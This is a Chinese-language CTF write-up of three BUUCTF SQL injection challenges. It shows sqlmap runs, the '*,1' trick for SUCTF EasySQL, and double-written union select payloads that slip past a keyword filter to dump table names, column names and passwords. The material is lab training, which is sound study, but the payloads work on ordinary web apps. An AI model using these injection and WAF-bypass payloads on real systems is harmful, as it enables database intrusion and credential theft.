buuctf sql注入类练习

BUU SQL COURSE 1

  • 1

  • 实例无法访问 / Instance can't be reached at that time | BUUCTF

  • 但是这个地方很迷惑就是这个 一个 # 我们不抓包就不知道这个是sql注入类的

  • 判断是 get 类型的sql注入直接使用sqlmap

  • 我们放入到1.txt中

  • 目的是 优先检测 ?id=1

  • >python3 sqlmap.py -r 1.txt

  • 他会自动的进行检测 对方的数据库类型

  • 直接进行数据搜哈

  • 这个加密是 24英文字母小写是MD5

  • 解密不出来 那就说明这个pass就是密码

  • flag{19a949af-93af-4422-a127-87b23a68c134}

SUCTF 2019EasySQL1

  • 老办法复制一下然后 放到1.txt(这个文件需要和sqlmap是同级的文件)

  • 标上 *

  • 发现梭哈失败了 原因 :1、这个过程中经过了 服务器的解密

  • 2、有waf

  • 第一种排除了 是第二种 有waf过滤

  • 输入字母就会无回显但是输入数字

  • 有个Array 这个在php中是数组的意思

  • 也就是我们可以输入一个数组 这个0 猜测是 $flag=arrayxxxxxxxx

  • 输入1

  • 会出现 0=1

  • 但是输入 0时会消失

  • 输入0和1 发现我们输入什么他就会回显什么

  • 猜测后端的逻辑

  • 我发现一个规律就是 我输入多少个数组 最后一个都是 1

  • 后端逻辑 : select $_POST'query' || flag from Flag

  • 可能就是当我们输入这个flag是正确的时候就会出现flag 这个很明显不显示

  • 但是我们可以使用 * 让其列出所以的列 然后 ,1 构造这个数组

  • select *,1 || flag from Flag

  • 1 || flag

  • 就是作用类似于 1 or 1 =1

  • select * 是查找所以的值

  • 在mysql中 || 就是或运算符的意思

  • 1 or 一个值的逻辑必然是 true

  • 因为1是真实存在的

  • 但是如果我们输入的flag不是真实存在的就鸡鸡了 但是这个又过滤了字母 所以说这样做事最正确的

极客大挑战 2019BabySQL

  • 判断类型

  • 使用逻辑注入 '= \ '=

  • 获取当账号密码

  • 猜测是MD5

  • 失败 那就说明 passwd就是这个

  • 但是这个不是 flag

  • 根据题目提示 bodysql 但是我们不知道是哪个地方的注入抓个包直接使用sqlmap一键梭哈一下

  • 发现失败了

  • python3 sqlmap.py -r 1.txt --level=4

  • 说明可能又有waf

  • 这个双写过滤的逻辑就是 服务器的替换是只能不断向前替换的 不能回头 bbyy 他首先会把 by 换为 ' ' 只能他是不能回头把 b y 进行替换

  • 发现这样构造还是没有 所以就使用手工注入 使用 union 看一下他到底有几个列

  • 发现一共是有 3个数据的

  • 有个知识点就是 不能在url中使用 # 要使用 %23 不然会造成不识别

  • 查表

  • ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

  • http://6304b807-b309-4f6c-8c46-58857e48ae51.node5.buuoj.cn:81/check.php?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_schema=database()%23

  • 发现这个有两个id 应该不是的

  • 直接找密码

  • ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

相关推荐
破碎的南瓜1 小时前
sqli--sql注入过关笔记(1,2,3,4,5,9)
数据库·笔记·sql
Csvn2 小时前
📊 SQL 入门 Day 10:递归 CTE — 破解无限层级查询的终极武器
后端·sql
Database_Cool_5 小时前
企业级多模态分析计算引擎选型:首选 AnalyticDB MySQL 向量 + SQL + 实时一体化方案
数据库·sql·mysql
云水一下5 小时前
零基础玩转bWAPP靶场(十四):SQL 注入(GET/选择型)
web安全·sql注入·bwapp
洵有兮7 小时前
sql注入通关笔记
数据库·笔记·sql·sql注入
sbjdhjd8 小时前
SQL 注入零基础详解:原理、手工注入流程与 Sqli-Labs 靶场实战1~5关和第9关思路
数据库·sql·计算机网络·web安全·网络安全·网络攻击模型·安全架构
雾沉川9 小时前
DataGrip 非商业免费授权说明与完整使用实操教程
sql·idea
慾玄10 小时前
sql注入靶场1-5,9关
数据库·sql
最后的最后、79610 小时前
SQLi-Labs 六关 SQL 注入过关笔记
数据库·笔记·sql
科技圈快迅11 小时前
2026年数据库国产化替代性能调优方法论:从SQL基线建立到持续优化的全流程体系
数据库·sql